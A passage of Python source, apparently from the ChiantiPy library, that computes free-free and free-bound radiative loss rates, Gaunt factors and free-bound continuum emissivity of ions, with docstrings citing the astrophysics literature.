\\\\frac{dW}{dtdV} = \\\\frac{4\\\\alpha^3h^2}{3\\pi^2m_e}\\left(\\\\frac{2\\pi k_B}{3m_e}\\\\right)^{1/2}Z^2T^{1/2}\\\\bar{g}_B\n\n where where :math:`Z` is the nuclear charge, :math:`T` is the electron temperature, and\n :math:`\\\\bar{g}_{B}` is the wavelength-averaged and velocity-averaged Gaunt factor. The\n Gaunt factor is calculated using the methods of [2]_. Note that this expression for the\n loss rate is just the integral over wavelength of Eq. 5.14a of [1]_, the free-free emission, and\n is expressed in units of erg :math:`\\mathrm{cm}^3\\,\\mathrm{s}^{-1}`.\n\n References\n ----------\n .. [1] Rybicki and Lightman, 1979, Radiative Processes in Astrophysics,\n `(Wiley-VCH) `_\n .. [2] Karzas and Latter, 1961, ApJSS, `6, 167\n `_\n \"\"\"\n # interpolate wavelength-averaged K&L gaunt factors\n gf_kl_info = io.gffintRead()\n gamma_squared = self.IprErg/const.boltzmann/self.Temperature\n# for i, atemp in enumerate(self.Temperature):\n# print('%s T: %10.2e gamma_squared %10.2e'%(self.IonStr, atemp, gamma_squared[i]))\n gaunt_factor = splev(np.log(gamma_squared),\n splrep(gf_kl_info['g2'],gf_kl_info['gffint']), ext=3)\n # calculate numerical constant\n prefactor = (4.*(const.fine**3)*(const.planck**2)/3./(np.pi**2)/const.emass\n * np.sqrt(2.*np.pi*const.boltzmann/3./const.emass))\n # include abundance and ionization equilibrium\n prefactor *= self.Abundance*self.IoneqOne\n\n self.FreeFreeLoss = {'rate':prefactor*(self.Z**2)*np.sqrt(self.Temperature)*gaunt_factor}\n\n\n def itoh_gaunt_factor(self, wavelength):\n \"\"\"\n Calculates the free-free gaunt factors of [1]_.\n\n An analytic fitting formulae for the relativistic Gaunt factor is given by Eq. 4 of [1]_,\n\n .. math::\n g_{Z} = \\sum^{10}_{i,j=0}a_{ij}t^iU^j\n\n where,\n\n .. math::\n t = \\\\frac{1}{1.25}(\\log_{10}{T} - 7.25),\\\\\n U = \\\\frac{1}{2.5}(\\log_{10}{u} + 1.5),\n\n :math:`u=hc/\\lambda k_BT`, and :math:`a_{ij}` are the fitting coefficients and are read\n in using `ChiantiPy.tools.io.itohRead` and are given in Table 4 of [1]_. These values\n are valid for :math:`6<\\log_{10}(T)< 8.5` and :math:`-4<\\log_{10}(u)<1`.\n\n See Also\n --------\n ChiantiPy.tools.io.itohRead : Read in Gaunt factor coefficients from [1]_\n\n References\n ----------\n .. [1] Itoh, N. et al., 2000, ApJS, `128, 125\n `_\n \"\"\"\n # calculate scaled energy and temperature\n lower_u = const.planck*(1.e8*const.light)/const.boltzmann/np.outer(self.Temperature, wavelength)\n upper_u = 1./2.5*(np.log10(lower_u) + 1.5)\n t = 1./1.25*(np.log10(self.Temperature) - 7.25)\n # read in Itoh coefficients\n itoh_coefficients = io.itohRead()['itohCoef'][self.Z - 1].reshape(11,11)\n # calculate Gaunt factor\n gf = np.zeros(upper_u.shape)\n for j in range(11):\n for i in range(11):\n gf += (itoh_coefficients[i,j]*(t**i))[:,np.newaxis]*(upper_u**j)\n # apply NaNs where Itoh approximation is not valid\n gf = np.where(np.logical_and(np.log10(lower_u) >= -4., np.log10(lower_u) <= 1.0),gf,np.nan)\n gf[np.where(np.logical_or(np.log10(self.Temperature) <= 6.0,\n np.log10(self.Temperature) >= 8.5)),:] = np.nan\n\n return gf\n\n def sutherland_gaunt_factor(self, wavelength):\n \"\"\"\n Calculates the free-free gaunt factor calculations of [1]_.\n\n The Gaunt factors of [1]_ are read in using `ChiantiPy.tools.io.gffRead`\n as a function of :math:`u` and :math:`\\gamma^2`. The data are interpolated\n to the appropriate wavelength and temperature values using\n `~scipy.ndimage.map_coordinates`.\n\n References\n ----------\n .. [1] Sutherland, R. S., 1998, MNRAS, `300, 321 `_\n \"\"\"\n # calculate scaled quantities\n lower_u = const.planck*(1.e8*const.light)/const.boltzmann/np.outer(self.Temperature,wavelength)\n gamma_squared = (self.Z**2)*const.ryd2erg/const.boltzmann/self.Temperature[:,np.newaxis]*np.ones(lower_u.shape)\n # convert to index coordinates\n i_lower_u = (np.log10(lower_u) + 4.)*10.\n i_gamma_squared = (np.log10(gamma_squared) + 4.)*5.\n # read in sutherland data\n gf_sutherland_data = io.gffRead()\n # interpolate data to scaled quantities\n gf_sutherland = map_coordinates(gf_sutherland_data['gff'],\n [i_gamma_squared.flatten(), i_lower_u.flatten()]).reshape(lower_u.shape)\n\n return np.where(gf_sutherland < 0., 0., gf_sutherland)\n\n def calculate_free_bound_loss(self, **kwargs):\n \"\"\"\n Calculate the free-bound energy loss rate of an ion. The result is returned to the\n `free_bound_loss` attribute.\n\n The free-bound loss rate can be calculated by integrating the free-bound emission over the wavelength.\n This is difficult using the expression in `calculate_free_bound_emission` so we instead use the\n approach of [1]_ and [2]_. Eq. 1a of [2]_ can be integrated over wavelength to get the free-bound loss rate,\n\n .. math::\n \\\\frac{dW}{dtdV} = C_{ff}\\\\frac{k}{hc}T^{1/2}G_{fb},\n\n in units of erg :math:`\\mathrm{cm}^3\\,\\mathrm{s}^{-1}` where :math:`G_{fb}` is the free-bound Gaunt factor as\n given by Eq. 15 of [2]_ (see `mewe_gaunt_factor` for more details) and :math:`C_{ff}` is the numerical constant\n as given in Eq. 4 of [1]_ and can be written in terms of the fine structure constant :math:`\\\\alpha`,\n\n .. math::\n C_{ff}\\\\frac{k}{hc} = \\\\frac{8}{3}\\left(\\\\frac{\\pi}{6}\\\\right)^{1/2}\\\\frac{h^2\\\\alpha^3}{\\pi^2}\\\\frac{k_B}{m_e^{3/2}} \\\\approx 1.43\\\\times10^{-27}\n\n References\n ----------\n .. [1] Gronenschild, E.H.B.M. and Mewe, R., 1978, A&AS, `32, 283 `_\n .. [2] Mewe, R. et al., 1986, A&AS, `65, 511 `_\n \"\"\"\n # Calculate Gaunt factor according to Mewe\n gaunt_factor = self.mewe_gaunt_factor()\n # Numerical prefactor\n prefactor = (8./3.*np.sqrt(np.pi/6.)*(const.planck**2)*(const.fine**3)/(np.pi**2)\n * (const.boltzmann**(1./2.))/(const.emass**(3./2.)))\n\n self.free_bound_loss = gaunt_factor*np.sqrt(self.Temperature)*prefactor\n\n def freeBoundLossMewe(self, **kwargs):\n \"\"\"\n Calculate the free-bound energy loss rate of an ion. The result is returned to the\n `free_bound_loss` attribute.\n\n The free-bound loss rate can be calculated by integrating the free-bound emission over the wavelength.\n This is difficult using the expression in `calculate_free_bound_emission` so we instead use the\n approach of [1]_ and [2]_. Eq. 1a of [2]_ can be integrated over wavelength to get the free-bound loss rate,\n\n .. math::\n \\\\frac{dW}{dtdV} = C_{ff}\\\\frac{k}{hc}T^{1/2}G_{fb},\n\n in units of erg :math:`\\mathrm{cm}^3\\,\\mathrm{s}^{-1}` where :math:`G_{fb}` is the free-bound Gaunt factor as\n given by Eq. 15 of [2]_ (see `mewe_gaunt_factor` for more details) and :math:`C_{ff}` is the numerical constant\n as given in Eq. 4 of [1]_ and can be written in terms of the fine structure constant :math:`\\\\alpha`,\n\n .. math::\n C_{ff}\\\\frac{k}{hc} = \\\\frac{8}{3}\\left(\\\\frac{\\pi}{6}\\\\right)^{1/2}\\\\frac{h^2\\\\alpha^3}{\\pi^2}\\\\frac{k_B}{m_e^{3/2}} \\\\approx 1.43\\\\times10^{-27}\n\n References\n ----------\n .. [1] Gronenschild, E.H.B.M. and Mewe, R., 1978, A&AS, `32, 283 `_\n .. [2] Mewe, R. et al., 1986, A&AS, `65, 511 `_\n \"\"\"\n nameDict = util.convertName(self.IonStr)\n lower = nameDict['lower']\n self.Recombined_fblvl = io.fblvlRead(lower)\n if 'errorMessage' in self.Recombined_fblvl:\n errorMessage = 'No free-bound information available for {}'.format(self.IonStr)\n rate = np.zeros_like(self.Temperature)\n self.FreeBoundLoss = {'rate':rate, 'errorMessage':errorMessage}\n return\n# Calculate Gaunt factor according to Mewe\n gaunt_factor = self.mewe_gaunt_factor()\n # Numerical prefactor\n prefactor = (8./3.*np.sqrt(np.pi/6.)*(const.planck**2)*(const.fine**3)/(np.pi**2)\n * (const.boltzmann**(1./2.))/(const.emass**(3./2.)))\n\n self.FreeBoundLoss = {'rate':gaunt_factor*np.sqrt(self.Temperature)*prefactor, 'temperature':self.Temperature}\n\n def mewe_gaunt_factor(self, **kwargs):\n \"\"\"\n Calculate the Gaunt factor according to [1]_ for a single ion :math:`Z_z`.\n\n Using Eq. 9 of [1]_, the free-bound Gaunt factor for a single ion can be written as,\n\n .. math::\n G_{fb}^{Z,z} = \\\\frac{E_H}{k_BT}\\\\mathrm{Ab}(Z)\\\\frac{N(Z,z)}{N(Z)}f(Z,z,n)\n\n where :math:`E_H` is the ground-state potential of H, :math:`\\mathrm{Ab}(Z)` is the\n elemental abundance, :math:`\\\\frac{N(Z,z)}{N(Z)}` is the fractional ionization, and\n :math:`f(Z,z,n)` is given by Eq. 10 and is approximated by Eq 16 as,\n\n .. math::\n f(Z,z,n) \\\\approx f_2(Z,z,n_0) = 0.9\\\\frac{\\zeta_0z_0^4}{n_0^5}\\exp{\\left(\\\\frac{E_Hz_0^2}{n_0^2k_BT}\\\\right)} + 0.42\\\\frac{z^4}{n_0^{3/2}}\\exp{\\left(\\\\frac{E_Hz^2}{(n_0 + 1)^2k_BT}\\\\right)}\n\n where :math:`n_0` is the principal quantum number, :math:`z_0` is the effective charge (see Eq. 7 of [1]_),\n and :math:`\\zeta_0` is the number of vacancies in the 0th shell and is given in Table 1 of [1]_.\n Here it is calculated in the same manner as in `fb_rad_loss.pro `_\n of the CHIANTI IDL library. Note that in the expression for :math:`G_{fb}`, we have not included\n the :math:`N_H/n_e` factor.\n\n Raises\n ------\n ValueError\n If no .fblvl file is available for this ion\n\n References\n ----------\n .. [1] Mewe, R. et al., 1986, A&AS, `65, 511 `_\n \"\"\"\n # read in free-bound level information for the recombined ion\n # thermal energy scaled by H ionization potential\n scaled_energy = const.ryd2erg/const.boltzmann/self.Temperature\n # set variables used in Eq. 16 of Mewe et al.(1986)\n n_0 = self.Recombined_fblvl['pqn'][0]\n# z_0 = np.sqrt(self.ionization_potential/const.ryd2erg)*n_0\n z_0 = np.sqrt(self.Ipr/const.ryd2erg)*n_0\n\n # calculate zeta_0, the number of vacancies in the recombining ion\n # see zeta_0 function in chianti/idl/continuum/fb_rad_loss.pro and\n # Table 1 of Mewe et al. (1986)\n if self.Z - self.Stage > 22:\n zeta_0 = self.Z - self.Stage + 55\n elif 8 < self.Z - self.Stage <= 22:\n zeta_0 = self.Z - self.Stage + 27\n elif 0 < self.Z - self.Stage <= 8:\n zeta_0 = self.Z - self.Stage + 9\n else:\n zeta_0 = self.Z - self.Stage + 1\n\n ip = self.Ipr - self.Recombined_fblvl['ecm'][0]*const.planck*const.light\n# ip = self.ionization_potential - recombined_fblvl['ecm'][0]*const.planck*const.light\n f_2 = (0.9*zeta_0*(z_0**4)/(n_0**5)*np.exp(scaled_energy*(z_0**2)/(n_0**2) - ip/const.boltzmann/self.Temperature)\n + 0.42/(n_0**1.5)*(self.Stage**4))\n\n# return scaled_energy*f_2*self.Abundance*self.ioneq_one(self.Stage+1, **kwargs)\n return scaled_energy*f_2*self.Abundance*self.IoneqOne\n #\n\n def freeBoundLoss(self):\n '''\n to calculate the free-bound (radiative recombination) energy loss rate coefficient of an ion,\n the ion is taken to be the target ion,\n including the elemental abundance and the ionization equilibrium population\n uses the Gaunt factors of Karzas, W.J, Latter, R, 1961, ApJS, 6, 167\n provides rate = ergs cm^-2 s^-1\n '''\n #\n temperature = self.Temperature\n #\n nameDict = util.convertName(self.IonStr)\n lowerDict = util.convertName(nameDict['lower'])\n if hasattr(self, 'Fblvl'):\n fblvl = self.Fblvl\n else:\n fblvlname = nameDict['filename']+'.fblvl'\n if os.path.isfile(fblvlname):\n self.Fblvl = io.fblvlRead(self.IonStr)\n fblvl = self.Fblvl\n elif self.Stage == self.Z+1:\n fblvl = {'mult':[1., 1.]}\n else:\n self.FreeBoundLoss = {'errorMessage':' file does not exist %s .fblvl'%(fblvlname)}\n return\n # need some data for the recombined ion\n #\n if hasattr(self, 'rFblvl'):\n rFblvl = self.rFblvl\n else:\n rfblvlname = lowerDict['filename']+'.fblvl'\n if os.path.isfile(rfblvlname):\n self.rFblvl = io.fblvlRead(nameDict['lower'])\n rFblvl = self.rFblvl\n else:\n self.FreeBoundLoss = {'errorMessage':' file does not exist %s .fblvl'%(rfblvlname)}\n return\n #\n gIoneq = self.IoneqOne\n #\n abund = self.Abundance\n #\n #\n nlvls = len(rFblvl['lvl'])\n # pqn = principle quantum no. n\n pqn = np.asarray(rFblvl['pqn'], 'int64')\n # l is angular moment quantum no. L\n l = rFblvl['l']\n # energy level in inverse cm\n ecm = rFblvl['ecm']\n # statistical weigths/multiplicities\n multr = rFblvl['mult']\n mult = fblvl['mult']\n #\n #\n # for the ionization potential, must use that of the recombined ion\n #\n# iprcm = self.Ipr/const.invCm2Ev\n #\n # get karzas-latter Gaunt factors\n if hasattr(self, 'Klgfb'):\n klgfb = self.Klgfb\n else:\n self.Klgfb = io.klgfbRead()\n klgfb = self.Klgfb\n #\n nTemp = temperature.size\n # statistical weigths/multiplicities\n #\n #\n #wecm=1.e+8/(ipcm-ecm)\n #\n # sometime the rFblvl file does not exist\n if 'mult' in fblvl.keys() and 'mult' in rFblvl.keys():\n fbrate = np.zeros((nlvls,nTemp),'float64')\n ratg = np.zeros((nlvls),'float64')\n for ilvl in range(nlvls):\n # scaled energy is relative to the ionization potential of each individual level\n # will add the average energy of a free electron to this to get typical photon energy to\n # evaluate the gaunt factor\n hnuEv = 1.5*const.boltzmann*temperature/const.ev2Erg\n iprLvlEv = self.Ipr - const.invCm2Ev*ecm[ilvl]\n scaledE = np.log(hnuEv/iprLvlEv)\n thisGf = klgfb['klgfb'][pqn[ilvl]-1, l[ilvl]]\n spl = splrep(klgfb['pe'], thisGf)\n gf = np.exp(splev(scaledE, spl))\n ratg[ilvl] = float(multr[ilvl])/float(mult[0]) # ratio of statistical weights\n iprLvlErg = const.ev2Erg*iprLvlEv\n fbrate[ilvl] = ratg[ilvl]*(iprLvlErg**2/float(pqn[ilvl]))*gf/np.sqrt(temperature)\n fbRate = abund*gIoneq*const.freeBoundLoss*(fbrate.sum(axis=0))\n else:\n fbRate = np.zeros((nTemp),'float64')\n self.FreeBoundLoss = {'rate':fbRate, 'temperature':temperature}\n\n def freeBoundwB(self, wavelength, includeAbundance=True, includeIoneq=True, useVerner=True, **kwargs):\n \"\"\"\n Calculate the free-bound emission of an ion. The result is returned as a 2D array to the\n `free_bound_emission` attribute.\n\n The total free-bound continuum emissivity is given by,\n\n .. math::\n \\\\frac{dW}{dtdVd\\lambda} = \\\\frac{1}{4\\pi}\\\\frac{2}{hk_Bc^3m_e\\sqrt{2\\pi k_Bm_e}}\\\\frac{E^5}{T^{3/2}}\\sum_i\\\\frac{\\omega_i}{\\omega_0}\\sigma_i^{bf}\\exp\\left(-\\\\frac{E - I_i}{k_BT}\\\\right)\n\n where :math:`E=hc/\\lambda` is the photon energy, :math:`\\omega_i` and :math:`\\omega_0`\n are the statistical weights of the :math:`i^{\\mathrm{th}}` level of the recombined ion\n and the ground level of the recombing ion, respectively, :math:`\\sigma_i^{bf}` is the\n photoionization cross-section, and :math:`I_i` is the ionization potential of level :math:`i`.\n This expression comes from Eq. 12 of [3]_. For more information about the free-bound continuum\n calculation, see `Peter Young's notes on free-bound continuum`_.\n\n The photoionization cross-sections are calculated using the methods of [2]_ for the\n transitions to the ground state and [1]_ for all other transitions. See\n `verner_cross_section` and `karzas_cross_section` for more details.\n\n .. _Peter Young's notes on free-bound continuum: http://www.pyoung.org/chianti/freebound.pdf\n\n The free-bound emission is in units of erg\n :math:`\\mathrm{cm}^3\\mathrm{s}^{-1}\\mathrm{\\mathring{A}}^{-1}\\mathrm{str}^{-1}`. If the emission\n measure has been set, the units will be multiplied by :math:`\\mathrm{cm}^{-5}` or\n :math:`\\mathrm{cm}^{-3}`, depending on whether it is the line-of-sight or volumetric\n emission measure, respectively.\n\n Parameters\n ----------\n wavelength : array-like\n In units of angstroms\n include_abundance : `bool`, optional\n If True, include the ion abundance in the final output.\n include_ioneq : `bool`, optional\n If True, include the ionization equilibrium in the final output\n use_verner : `bool`, optional\n If True, cross-sections of ground-state transitions using [2]_, i.e. `verner_cross_section`\n\n Raises\n ------\n ValueError\n If no .fblvl file is available for this ion\n\n References\n ----------\n .. [1] Karzas and Latter, 1961, ApJSS, `6, 167\n `_\n .. [2] Verner & Yakovlev, 1995, A&AS, `109, 125\n `_\n .. [3] Young et al., 2003, ApJSS, `144, 135\n `_\n \"\"\"\n wavelength = np.atleast_1d(wavelength)\n if wavelength.size < 2:\n print(' wavelength must have at least two values, current length %3i'%(wavelength.size))\n return\n self.NWavelength = wavelength.size\n # calculate the photon energy in erg\n photon_energy = const.planck*(1.e8*const.light)/wavelength\n prefactor = (2./np.sqrt(2.*np.pi)/(4.*np.pi)/(const.planck*(const.light**3)\n * (const.emass*const.boltzmann)**(3./2.)))\n # read the free-bound level information for the recombined and recombining ion\n recombining_fblvl = io.fblvlRead(self.IonStr)\n # get the multiplicity of the ground state of the recombining ion\n if 'errorMessage' in recombining_fblvl:\n omega_0 = 1.\n else:\n omega_0 = recombining_fblvl['mult'][0]\n\n self.Recombined_fblvl = io.fblvlRead(self.nameDict['lower'])\n if 'errorMessage' in self.Recombined_fblvl:\n# raise ValueError('No free-bound information available for {}'.format(util.zion2name(self.Z, self.Stage)))\n errorMessage = 'No free-bound information available for {}'.format(util.zion2name(self.Z, self.Stage))\n fb_emiss = np.zeros((self.NTemperature, self.NWavelength), 'float64')\n# self.free_bound_emission = fb_emiss.squeeze()\n self.FreeBound = {'intensity':fb_emiss, 'temperature':self.Temperature,'wvl':wavelength,'em':self.Em, 'errorMessage':errorMessage}\n return\n\n energy_over_temp_factor = np.outer(1./(self.Temperature**1.5), photon_energy**5.).squeeze()\n# if self.NWavelength > 1:\n# print(' energy shape %5i %5i'%(energy_over_temp_factor.shape[0],energy_over_temp_factor.shape[1]))\n# else:\n# print(' energy size %5i'%(energy_over_temp_factor.size))\n # sum over levels of the recombined ion\n sum_factor = np.zeros((len(self.Temperature), len(wavelength)))\n for i,omega_i in enumerate(self.Recombined_fblvl['mult']):\n # ionization potential for level i\n# ip = self.ionization_potential - recombined_fblvl['ecm'][i]*const.planck*const.light\n ip = self.IprErg - self.Recombined_fblvl['ecm'][i]*const.planck*const.light\n # skip level if photon energy is not sufficiently high\n if ip < 0. or np.all(np.max(photon_energy) < (self.ionization_potential - ip)):\n continue\n # calculate cross-section\n if i == 0 and useVerner:\n cross_section = self.vernerCross(photon_energy)\n else:\n cross_section = self.karzasCross(photon_energy, ip,\n self.Recombined_fblvl['pqn'][i],\n self.Recombined_fblvl['l'][i])\n scaled_energy = np.outer(1./(const.boltzmann*self.Temperature), photon_energy - ip)\n # the exponential term can go to infinity for low temperatures\n # but if the cross-section is zero this does not matter\n scaled_energy[:,np.where(cross_section == 0.0)] = 0.0\n sum_factor += omega_i/omega_0*np.exp(-scaled_energy)*cross_section\n\n # combine factors\n fb_emiss = prefactor*energy_over_temp_factor*sum_factor.squeeze()\n# if self.NWavelength > 1:\n# print(' fb emiss.shape %5i %5i'%(fb_emiss.shape[0], fb_emiss.shape[1]))\n# else:\n# print(' fb emiss.size %5i'%(fb_emiss.size))\n # include abundance, ionization equilibrium, photon conversion, emission measure\n if includeAbundance:\n fb_emiss *= self.Abundance\n includeAbundance = self.Abundance\n if includeIoneq:\n if self.NTemperature > 1:\n if self.NWavelength > 1:\n# fb_emiss *= self.ioneq_one(self.Stage, **kwargs)[:,np.newaxis]\n fb_emiss *= self.IoneqOne[:,np.newaxis]\n includeAbundance = self.IoneqOne[:,np.newaxis]\n else:\n fb_emiss *= self.IoneqOne\n includeAbundance = self.IoneqOne\n else:\n fb_emiss *= self.IoneqOne\n includeAbundance = self.IoneqOne\n if self.Em is not None:\n if self.Em.size > 1:\n fb_emiss *= self.Em[:,np.newaxis]\n else:\n fb_emiss *= self.Em\n\n if chdata.Defaults['flux'] == 'photon':\n fb_emiss /= photon_energy\n # the final units should be per angstrom\n fb_emiss /= 1e8\n\n# self.free_bound_emission = fb_emiss.squeeze()\n self.FreeBound = {'intensity':fb_emiss.squeeze(), 'temperature':self.Temperature,'wvl':wavelength,'em':self.Em, 'ions':self.IonStr, 'abundance':includeAbundance, 'ioneq':includeIoneq}\n\n def freeBound(self, wvl, verner=1):\n '''\n to calculate the free-bound (radiative recombination) continuum rate coefficient of an ion, where\n the ion is taken to be the target ion,\n including the elemental abundance and the ionization equilibrium population\n uses the Gaunt factors of Karzas, W.J, Latter, R, 1961, ApJS, 6, 167\n for recombination to the ground level, the photoionization cross sections of\n Verner and Yakovlev, 1995, A&ASS, 109, 125\n are used to develop the free-bound cross section\n includes the elemental abundance and the ionization fraction\n provides emissivity = ergs cm^-2 s^-1 str^-1 Angstrom ^-1\n '''\n wvl = np.asarray(wvl, 'float64')\n temperature = self.Temperature\n hnu = 1.e+8*const.planck*const.light/wvl\n #\n if hasattr(self, 'IoneqOne'):\n gIoneq = self.IoneqOne\n else:\n self.ioneqOne()\n gIoneq = self.IoneqOne\n #\n # put in freefree to go through ipymspectrum\n if not np.any(gIoneq) > 0:\n self.FreeBound = {'errorMessage':' no non-zero values of ioneq'}\n return\n #\n em = self.Em\n #\n # the target ion contains that data for fblvl\n #\n if hasattr(self,'Fblvl'):\n fblvl = self.Fblvl\n if 'errorMessage' in fblvl.keys():\n self.FreeBound = fblvl\n return\n elif self.Z == self.Stage-1:\n #dealing with the fully ionized stage\n self.Fblvl = {'mult':[2., 2.]}\n fblvl = self.Fblvl\n else:\n fblvlname = self.nameDict['filename']+'.fblvl'\n if os.path.isfile(fblvlname):\n self.Fblvl = io.fblvlRead(self.IonStr)\n fblvl = self.Fblvl\n # in case there is no fblvl file\n else:\n self.FreeBound = {'errorMessage':' no fblvl file for ion %s'%(self.IonStr)}\n return\n #\n # need data for the recombined ion\n #\n if hasattr(self,'rFblvl'):\n rfblvl = self.rFblvl\n else:\n lower = self.nameDict['lower']\n lowerDict = util.convertName(lower)\n fblvlname = lowerDict['filename'] +'.fblvl'\n if os.path.isfile(fblvlname):\n self.rFblvl = io.fblvlRead(lower)\n rfblvl = self.rFblvl\n else:\n self.FreeBound = {'errorMessage':' no fblvl file for ion %s'%(self.IonStr)}\n return\n #\n #\n abund = self.Abundance\n #\n #\n nlvls = len(rfblvl['lvl'])\n # pqn = principle quantum no. n\n pqn = rfblvl['pqn']\n # l is angular moment quantum no. L\n l = rfblvl['l']\n # energy level in inverse cm\n ecm = rfblvl['ecm']\n # statistical weigths/multiplicities\n multr = rfblvl['mult']\n mult = fblvl['mult']\n #\n #\n # for the ionization potential, must use that of the recombined ion\n #\n iprcm = self.Ipr/const.invCm2Ev\n #\n # get karzas-latter Gaunt factors\n if hasattr(self,'Klgfb'):\n klgfb = self.Klgfb\n else:\n self.Klgfb = io.klgfbRead()\n klgfb = self.Klgfb\n #\n nWvl = wvl.size\n nTemp = temperature.size\n #\n if verner:\n lvl1 = 1\n else:\n lvl1 = 0\n #\n nWvl = wvl.size\n nTemp = temperature.size\n #\n if verner:\n self.vernerCross(wvl)\n vCross = self.VernerCross\n #\n if (nTemp > 1) and (nWvl > 1):\n mask = np.zeros((nlvls,nTemp,nWvl),'Bool')\n fbrate = np.zeros((nlvls,nTemp,nWvl),'float64')\n fbRate = np.zeros((nTemp,nWvl),'float64')\n expf = np.zeros((nlvls,nTemp,nWvl),'float64')\n ratg = np.zeros((nlvls),'float64')\n ratg[0] = float(multr[0])/float(mult[0])\n iprLvlEv = self.Ipr - const.invCm2Ev*ecm[0]\n iprLvlErg = const.ev2Erg*iprLvlEv\n iprLvlCm = (iprcm - ecm[0])\n for itemp in range(nTemp):\n mask[0,itemp] = 1.e+8/wvl < (iprcm - ecm[0])\n expf[0,itemp] = np.exp((iprLvlErg - 1.e+8*const.planck*const.light/wvl)/(const.boltzmann*temperature[itemp]))\n fbrate[0,itemp] = em[itemp]*abund*gIoneq[itemp]*(const.planck*const.light/(1.e-8*wvl))**5*const.verner*ratg[0]*expf[0,itemp]*vCross/temperature[itemp]**1.5\n for ilvl in range(lvl1,nlvls):\n iprLvlEv = self.Ipr - const.invCm2Ev*ecm[ilvl]\n iprLvlErg = const.ev2Erg*iprLvlEv\n scaledE = np.log(const.ev2Ang/(iprLvlEv*wvl))\n thisGf = klgfb['klgfb'][pqn[ilvl]-1, l[ilvl]]\n spl = splrep(klgfb['pe'], thisGf)\n gf = np.exp(splev(scaledE, spl))\n ratg[ilvl] = float(multr[ilvl])/float(mult[0]) # ratio of statistical weights\n #\n for itemp in range(nTemp):\n expf[ilvl] = np.exp((iprLvlErg - 1.e+8*const.planck*const.light/wvl)/(const.boltzmann*temperature[itemp]))\n expf[ilvl,itemp] = np.exp((iprLvlErg - 1.e+8*const.planck*const.light/wvl)/(const.boltzmann*temperature[itemp]))\n mask[ilvl,itemp] = 1.e+8/wvl < (iprcm - ecm[ilvl])\n fbrate[ilvl,itemp] = em[itemp]*abund*gIoneq[itemp]*const.freeBound*ratg[ilvl]*(iprLvlErg**2/float(pqn[ilvl]))*gf*expf[ilvl,itemp]/(temperature[itemp]**1.5*(wvl)**2)\n fbrma = np.ma.array(fbrate)\n fbrma.mask = mask\n fbrma.fill_value = 0.\n fbIntensity = fbrma.sum(axis=0)\n# for itemp in range(nTemp):\n# fbRate += em[itemp]*abund*gIoneq[itemp]*fbrma[itemp]\n# fbRate = fbrma.sum(axis=0)\n# fbRate.fill_value = 0.\n self.FreeBound = {'intensity':fbIntensity, 'temperature':temperature,'wvl':wvl,'em':em}\n #\n elif (nTemp == 1) and (nWvl > 1):\n mask = np.zeros((nlvls,nWvl),'Bool')\n fbrate = np.zeros((nlvls,nWvl),'float64')\n expf = np.zeros((nlvls,nWvl),'float64')\n ratg = np.zeros((nlvls),'float64')\n # mask is true for bad values\n ratg[0] = float(multr[0])/float(mult[0])\n iprLvlEv = self.Ipr - const.invCm2Ev*ecm[0]\n iprLvlErg = const.ev2Erg*iprLvlEv\n iprLvlCm = (iprcm - ecm[0])\n #\n mask[0] = 1.e+8/wvl < iprcm\n expf[0] = np.exp((iprLvlErg - hnu)/(const.boltzmann*temperature))\n # both expressions for fbrate[0] match the IDL output\n fbrate[0] = (const.planck*const.light/(1.e-8*wvl))**5*const.verner*ratg[0]*expf[0]*vCross/temperature**1.5\n # factor of 1.e-8 converts to Angstrom^-1, otherwise it would be cm^-1\n# fbrate[0] = 1.e-8*const.freeBounde*hnu**5*ratg[0]*expf[0]*vCross/temperature**1.5\n #\n for ilvl in range(lvl1,nlvls):\n iprLvlEv = self.Ipr - const.invCm2Ev*ecm[ilvl]\n iprLvlErg = const.ev2Erg*iprLvlEv\n iprLvlCm = (iprcm - ecm[ilvl])\n # scaled energy is relative to the ionization potential of each individual level\n scaledE = np.log(const.ev2Ang/(iprLvlEv*wvl))\n thisGf = klgfb['klgfb'][pqn[ilvl]-1, l[ilvl]]\n spl = splrep(klgfb['pe'], thisGf)\n gf = np.exp(splev(scaledE, spl))\n mask[ilvl] = 1.e+8/wvl < iprLvlCm\n ratg[ilvl] = float(multr[ilvl])/float(mult[0]) # ratio of statistical weights\n expf[ilvl] = np.exp((iprLvlErg - hnu)/(const.boltzmann*temperature))\n fbrate[ilvl] = const.freeBound*ratg[ilvl]*(iprLvlErg**2/float(pqn[ilvl]))*expf[ilvl]*gf/(temperature**1.5*(wvl)**2)\n fbrma = np.ma.array(fbrate)\n fbrma.mask = mask\n fbrma.fill_value = 0.\n fbRate = em*abund*gIoneq*fbrma.sum(axis=0)\n fbRate.fill_value = 0.\n self.FreeBound = {'fbRate':fbRate, 'intensity':fbRate.data, 'temperature':temperature,'wvl':wvl, 'mask':mask, 'expf':expf,'vCross':vCross}\n #elif (nTemp > 1) and (nWvl == 1):\n else:\n self.FreeBound = {'intensity':np.zeros(nTemp,'float64'),'errorMessage':' this is the case of a single wavelength'}\n\n def freeBoundEmiss(self, wvl, verner=1):\n\n \"\"\"\n Calculates the free-bound (radiative recombination) continuum emissivity of an ion.\n Provides emissivity in units of ergs :math:`\\mathrm{cm}^{-2}` :math:`\\mathrm{s}^{-1}` :math:`\\mathrm{str}^{-1}` :math:`\\mathrm{\\AA}^{-1}` for an individual ion.\n\n Notes\n -----\n - Uses the Gaunt factors of [1]_ for recombination to the ground level\n - Uses the photoionization cross sections of [2]_ to develop the free-bound cross section\n - Does not include the elemental abundance or ionization fraction\n - The specified ion is the target ion\n\n References\n ----------\n .. [1] Karzas and Latter, 1961, ApJSS, `6, 167\n `_\n .. [2] Verner & Yakovlev, 1995, A&AS, `109, 125\n `_\n \"\"\"\n wvl = np.asarray(wvl, 'float64')\n temperature = self.Temperature\n hnu = 1.e+8*const.planck*const.light/wvl\n #\n #\n em = self.Em\n #\n # the target ion contains that data for fblvl\n #\n if hasattr(self,'Fblvl'):\n fblvl = self.Fblvl\n if 'errorMessage' in fblvl.keys():\n self.FreeBound = fblvl\n return\n elif self.Z == self.Stage-1:\n #dealing with the fully ionized stage\n self.Fblvl = {'mult':[2., 2.]}\n fblvl = self.Fblvl\n else:\n fblvlname = self.nameDict['filename']+'.fblvl'\n if os.path.isfile(fblvlname):\n self.Fblvl = io.fblvlRead(self.IonStr)\n fblvl = self.Fblvl\n # in case there is no fblvl file\n else:\n self.FreeBound = {'errorMessage':' no fblvl file for ion %s'%(self.IonStr)}\n return\n #\n # need data for the recombined ion\n #\n if hasattr(self,'rFblvl'):\n rfblvl = self.rFblvl\n else:\n lower = self.nameDict['lower']\n lowerDict = util.convertName(lower)\n fblvlname = 